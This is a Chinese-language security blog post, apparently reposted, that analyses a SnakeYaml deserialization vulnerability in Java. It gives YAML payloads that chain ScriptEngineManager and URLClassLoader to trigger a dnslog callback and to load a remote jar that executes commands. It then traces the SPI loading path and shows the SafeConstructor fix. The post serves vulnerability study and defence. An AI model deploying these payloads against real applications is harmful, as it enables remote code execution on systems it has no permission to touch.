Java安全之SnakeYaml反序列化分析


Java安全之SnakeYaml反序列化分析

0x00 前言

偶然間看到SnakeYaml的資料感覺挺有意思,發現SnakeYaml也存在反序列化利用的問題。借此來分析一波。

0x01 SnakeYaml 使用

SnakeYaml 簡介

SnakeYaml是用來解析yaml的格式,可用於Java對象的序列化、反序列化。

SnakeYaml 使用

導入依賴jar包

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

常用方法

String	dump(Object data)
將Java對象序列化為YAML字符串。
void	dump(Object data, Writer output)
將Java對象序列化為YAML流。
String	dumpAll(Iterator<? extends Object> data)
將一系列Java對象序列化為YAML字符串。
void	dumpAll(Iterator<? extends Object> data, Writer output)
將一系列Java對象序列化為YAML流。
String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
將Java對象序列化為YAML字符串。
String	dumpAsMap(Object data)
將Java對象序列化為YAML字符串。
<T> T	load(InputStream io)
解析流中唯一的YAML文檔,並生成相應的Java對象。
<T> T	load(Reader io)
解析流中唯一的YAML文檔,並生成相應的Java對象。
<T> T	load(String yaml)
解析字符串中唯一的YAML文檔,並生成相應的Java對象。
Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文檔,並生成相應的Java對象。
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文檔,並生成相應的Java對象。
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文檔,並生成相應的Java對象。

序列化

Myclass類:

package test;
public class MyClass {
    String value;
    public MyClass(String args) {
        value = args;
    }

    public String getValue(){
        return value;
    }
}

Test類:

@Test
    public  void test() {

    MyClass obj = new MyClass("this is my data");

    Map<String, Object> data = new HashMap<String, Object>();
    data.put("MyClass", obj);
    Yaml yaml = new Yaml();
    String output = yaml.dump(data);
    System.out.println(output);
}
}

結果:

MyClass: !!test.MyClass {}

前面的!!是用於強制類型轉化,強制轉換為!!后指定的類型,其實這個和Fastjson的@type有着異曲同工之妙。用於指定反序列化的全類名。

反序列化

yaml文件:

firstName: "John"
lastName: "Doe"
age: 20

測試類:

@Test
    public  void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream = this.getClass().getClassLoader().getResourceAsStream("test1.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}

執行結果:

{firstName=John, lastName=Doe, age=20}

0x02 漏洞分析

漏洞復現

首先還是先來復現一下漏洞,能進行利用后再進行分析利用過程。

下面來看到一段POC代碼:

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fnsdae.dnslog.cn\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(context);
    } 
}

成功獲取dnslog請求,但是這poc也只能探測是否進行了反序列化。如果需要利用的話還需要構造命令執行的代碼。

利用腳本其實已經有師傅寫好了。轉到這個github項目下下載該項目。打開修改代碼。

腳本也比較簡單,就是實現了ScriptEngineFactory接口,然后在靜態代碼塊處填寫需要執行的命令。將項目打包后掛載到web端,使用payload進行反序列化后請求到該位置,實現java.net.URLClassLoader調用遠程的類進行執行命令。

python -m http.server --cgi 8888

測試代碼:

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(context);
    }

}

命令執行成功。

SPI機制

在漏洞分析前先來了解一下SPI機制,在前面使用的執行代碼的payload中看到使用ScriptEngineManager類來進行構造,其實ScriptEngineManager利用的的底層也是SPI機制。

SPI ,全稱為 Service Provider Interface,是一種服務發現機制。它通過在ClassPath路徑下的META-INF/services文件夾查找文件,自動加載文件里所定義的類。也就是動態為某個接口尋找服務實現。

那么如果需要使用 SPI 機制需要在Java classpath 下的 META-INF/services/ 目錄里創建一個以服務接口命名的文件,這個文件里的內容就是這個接口的具體的實現類

在第一次聽說SPI還是在看JDBC底層實現的時候,但是並沒有去做多的了解。這里拿JDBC來舉個例子。

SPI是一種動態替換發現的機制,比如有個接口,想運行時動態的給它添加實現,你只需要添加一個實現。

來看到連接驅動的jar包,這里就是在Java classpath 下的 META-INF/services/ 定義實現類。

而數據庫有很多種類型,而實現方式不盡相同,而在實現各種連接驅動的時候,只需要添加java.sql.Driver實現接口,然后Java的SPI機制可以為某個接口尋找服務實現,就實現了各種數據庫的驅動連接。

實現細節:程序會java.util.ServiceLoder動態裝載實現模塊,在META-INF/services目錄下的配置文件尋找實現類的類名,通過Class.forName加載進來,newInstance()反射創建對象,並存到緩存和列表里面。

漏洞分析

先來簡單講講我理解的該漏洞利用的過程,建立在未對該漏洞分析前。

前面說到SPI會通過java.util.ServiceLoder進行動態加載實現,而在剛剛的exp的代碼里面實現了ScriptEngineFactory並在META-INF/services/ 里面添加了實現類的類名,而該類在靜態代碼塊處是我們的執行命令的代碼,而在調用的時候,SPI機制通過Class.forName反射加載並且newInstance()反射創建對象的時候,靜態代碼塊進行執行,從而達到命令執行的目的。

下面開始調試分析漏洞,在漏洞位置下斷點

這里調用this.loadFromReader跟蹤查看

以上就是各種賦值,需要注意的是數據的流向,這里沒啥好看的,來步進到下面,下面的返回值調用constructor.getSingleData跟蹤。

這里並沒有走到判斷體里面而是直接返回並且調用了this.constructDocument(),跟進。

這里調用this.constructObject就返回了一個Object對象,所以繼續從這個方法跟進進去,查看實現。

跟進constructObjectNoCheck

這個點先跟蹤 getConstructor

這里還是返回了一個反射的class對象,繼續跟。

這里獲取了name的值為javax.script.ScriptEngineManager,然后調用getClassForName對name進行傳入獲取cl的class對象。跟蹤getClassForName

在這里就可以看到使用反射創建了一個javax.script.ScriptEngineManager對象的具體實現,而后面代碼則是一些賦值的。執行到下一步來到了這個。

跟蹤construct方法查看,到了這部分其實就已經到了關鍵部分。

看到這段代碼創建了一個array數組,並且調用node.getType.getDeclaredConstructors();賦值給arr$數組,回想前面的分析中,獲取的name,也就是利用了javax.script.ScriptEngineManagerClass.forName進行創建反射對象並且賦值給note的type里面。而后這里getDeclaredConstructors()獲取它的無參構造方法。

然后將獲取到的arr數組添加到possibleConstructors

而后將獲取到的possibleConstructors獲取到的第一個數組進行賦值並轉換成Constructor類型

這里回去遍歷獲取snode的值。

這里進行使用反射實例化對象。

到了這里以為就結束了嘛?不是的,其實我們現在只是知道了javax.script.ScriptEngineManager是如何進行實例化的,但我們並不知道javax.script.ScriptEngineManager實例化后是如何觸發的代碼執行。下面可以來跟蹤一下SPI機制是怎么實現的。

在前面反射調用無參構造方法后,會走到這里,下面調用init方法跟蹤一下。

跟蹤

看到這里其實就和前面講到的SPI機制一樣,調用getServiceLoader動態加載類,這里先在慢慢往下看

跟進該地方會看到調用hasNextService方法

這里會去META-INF/services/javax.script.ScriptEngineFactory獲取實現類的信息

下面再來跟進itr.text

這里會去實例化接口的實現類

走到這一步命令執行成功。

0x03 漏洞修復

其實該漏洞涉及到了全版本,只要反序列化內容可控,那么就可以去進行反序列化攻擊

修復方案:加入new SafeConstructor()類進行過濾

public class main {
    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
                "  ]]\n" +
                "]";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(context);
    }

}

再次進行反序列化會拋異常。

再者就是拒絕不安全的反序列化操作,反序列化數據前需要經過校驗或拒絕反序列化數據可控。

0x04 結尾

在審計中其實就可以直接定位yaml.load();,然后進行回溯,如若參數可控,那么就可以嘗試傳入payload。但又出現另外一個問題,假如不出網的情況,是不是有很好的解決方案呢?


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM